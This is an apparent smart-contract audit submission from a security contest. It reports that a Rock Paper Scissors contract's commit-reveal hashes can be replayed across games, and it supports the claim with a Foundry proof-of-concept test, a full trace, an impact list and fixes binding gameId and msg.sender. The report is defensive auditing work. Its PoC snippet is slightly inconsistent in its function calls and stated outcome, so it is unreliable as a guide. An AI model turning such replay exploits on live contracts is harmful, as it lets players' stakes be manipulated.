Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

[M-1] Replay Attack on Commit Hash Enables Predictable Outcomes

Summary

The RockPaperScissors protocol allows players to commit to a move using a hash of keccak256(abi.encodePacked(move, salt)). However, this commit hash is not bound to the specific gameId or msg.sender, allowing attackers to reuse commit hashes across multiple games.

This opens the door for commit hash replay attacks, where an attacker copies a previously seen commit hash and uses it in a separate game to gain informational advantage, force ties, or manipulate outcomes.

Vulnerability Details

Location

// In revealMove()
bytes32 commit = keccak256(abi.encodePacked(move, _salt));
require(commit == game.commitA, "Hash doesn't match commitment");

Root Cause

The commit hash is computed off-chain by players using: keccak256(abi.encodePacked(move, salt)). This hash is submitted in commitMove(...) as _commitHash. In revealMove(...), the contract recomputes it the same way to verify. There is no enforcement that the hash includes the gameId or msg.sender - so identical move+salt combinations produce the same commit hash across games or players.

Proof of Concept

function testReplayCommitHashToWinSecondGame() public {
// Player A creates Game 1 and commits Rock + reused salt
bytes32 reusedSalt = keccak256("reused-salt");
bytes32 reusedCommit = keccak256(abi.encodePacked(uint8(1), reusedSalt));
uint256 game1 = createGame(playerA);
joinGame(attacker, game1);
commitMove(playerA, game1, reusedCommit);
commitMove(attacker, game1, keccak256(abi.encodePacked(uint8(2), keccak256("s2"))));
// A creates Game 2, Attacker reuses the same commit
uint256 game2 = createGame(playerA);
joinGame(attacker, game2);
commitMove(attacker, game2, reusedCommit);
commitMove(playerA, game2, reusedCommit);
// A reveals Game 1 — attacker now learns salt
game.revealMove(game1, 1, reusedSalt);
// Attacker now replays reveal with known salt in Game 2
game.revealMove(game2, 1, reusedSalt);
game.revealMove(playerA, game2, 1, reusedSalt);
// Game 2 ends in tie — attacker forced predictable outcome
}

The test passes and confirms the attacker can replay commits and predict future game outcomes given reused salts:

Ran 1 test for test/RockPaperScissorsReplay.t.sol:RockPaperScissorsReplayTest
[PASS] testReplayCommitHashToWinSecondGame() (gas: 692589)
Traces:
[692589] RockPaperScissorsReplayTest::testReplayCommitHashToWinSecondGame()
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 50000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000A11cE, bet: 50000000000000000 [5e16], totalTurns: 1)
│ └─ ← [Return] 0
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 50000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: 0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [47751] RockPaperScissors::commitMove(0, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000A11cE, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [46119] RockPaperScissors::commitMove(0, 0x5e0ecf6daeae0a7435b4f85aee71ae9a13519752c616254fa35044cbacffaabd)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x0000000000000000000000000000000000000B0b, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [160425] RockPaperScissors::createGameWithEth{value: 50000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 1, creator: 0x00000000000000000000000000000000000A11cE, bet: 50000000000000000 [5e16], totalTurns: 1)
│ └─ ← [Return] 1
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 50000000000000000}(1)
│ ├─ emit PlayerJoined(gameId: 1, player: 0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [47768] RockPaperScissors::commitMove(1, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e)
│ ├─ emit MoveCommitted(gameId: 1, player: 0x0000000000000000000000000000000000000B0b, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [46099] RockPaperScissors::commitMove(1, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e)
│ ├─ emit MoveCommitted(gameId: 1, player: 0x00000000000000000000000000000000000A11cE, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [4375] RockPaperScissors::revealMove(0, 1, 0x1f35bd26b55027bd8d0a8e4b541e23294d5311f98d3c17dd46410fa832ad0acc)
│ ├─ emit MoveRevealed(gameId: 0, player: 0x00000000000000000000000000000000000A11cE, move: 1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [4360] RockPaperScissors::revealMove(1, 1, 0x1f35bd26b55027bd8d0a8e4b541e23294d5311f98d3c17dd46410fa832ad0acc)
│ ├─ emit MoveRevealed(gameId: 1, player: 0x0000000000000000000000000000000000000B0b, move: 1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [46865] RockPaperScissors::revealMove(1, 1, 0x1f35bd26b55027bd8d0a8e4b541e23294d5311f98d3c17dd46410fa832ad0acc)
│ ├─ emit MoveRevealed(gameId: 1, player: 0x00000000000000000000000000000000000A11cE, move: 1, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 1, winner: 0x0000000000000000000000000000000000000000, currentTurn: 1)
│ ├─ emit FeeCollected(gameId: 1, feeAmount: 10000000000000000 [1e16])
│ ├─ [0] 0x00000000000000000000000000000000000A11cE::fallback{value: 45000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [0] 0x0000000000000000000000000000000000000B0b::fallback{value: 45000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit GameFinished(gameId: 1, winner: 0x0000000000000000000000000000000000000000, prize: 0)
│ └─ ← [Return]
├─ [2060] RockPaperScissors::games(1) [staticcall]
│ └─ ← [Return] 0x00000000000000000000000000000000000A11cE, 0x0000000000000000000000000000000000000B0b, 50000000000000000 [5e16], 600, 601, 1, 86401 [8.64e4], 1, 1, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e, 1, 1, 0, 0, 3
├─ [0] VM::assertEq(3, 3) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.22ms (290.79µs CPU time)
Ran 1 test suite in 494.63ms (5.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

This bug allows:

  • Cross-game commit replay attacks

  • Predictable outcomes if players reuse move+salt

  • Potential griefing via forced ties

  • Undermines the fairness and unpredictability expected in commit-reveal games

Attackers can weaponize this with scripts that watch games, record revealed salts, and pre-commit them in new games.

Tools Used

  • Forge (Foundry) for testing

  • Manual review

  • Test harness built on forge-std

Recommendations

To prevent cross-game replay of commit hashes and ensure uniqueness per commitment, update the commitment structure to bind it to the game and the sender. There are two secure options depending on tradeoffs:

Option 1: Lightweight Binding (safe with fixed-size types)
Use abi.encodePacked(...) with fixed-width types:

keccak256(abi.encodePacked(gameId, msg.sender, move, salt));

This:

  • Prevents reuse across games or users

  • Keeps commit hashes short

  • Is safe here because all inputs (uint256, address, uint8, bytes32) are fixed-size and padding-safe

Note: Still requires players to use unique salts to prevent dictionary attacks.

Option 2: Robust Encoding (padding safe, even with dynamic types)

Use full padding-safe encoding:
keccak256(abi.encode(gameId, msg.sender, move, salt));

This:

  • Prevents ambiguity or collisions even with dynamic input types (e.g., future upgrades using string, bytes)

  • Slightly more gas-heavy

  • Preferred if safety outweighs gas sensitivity

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.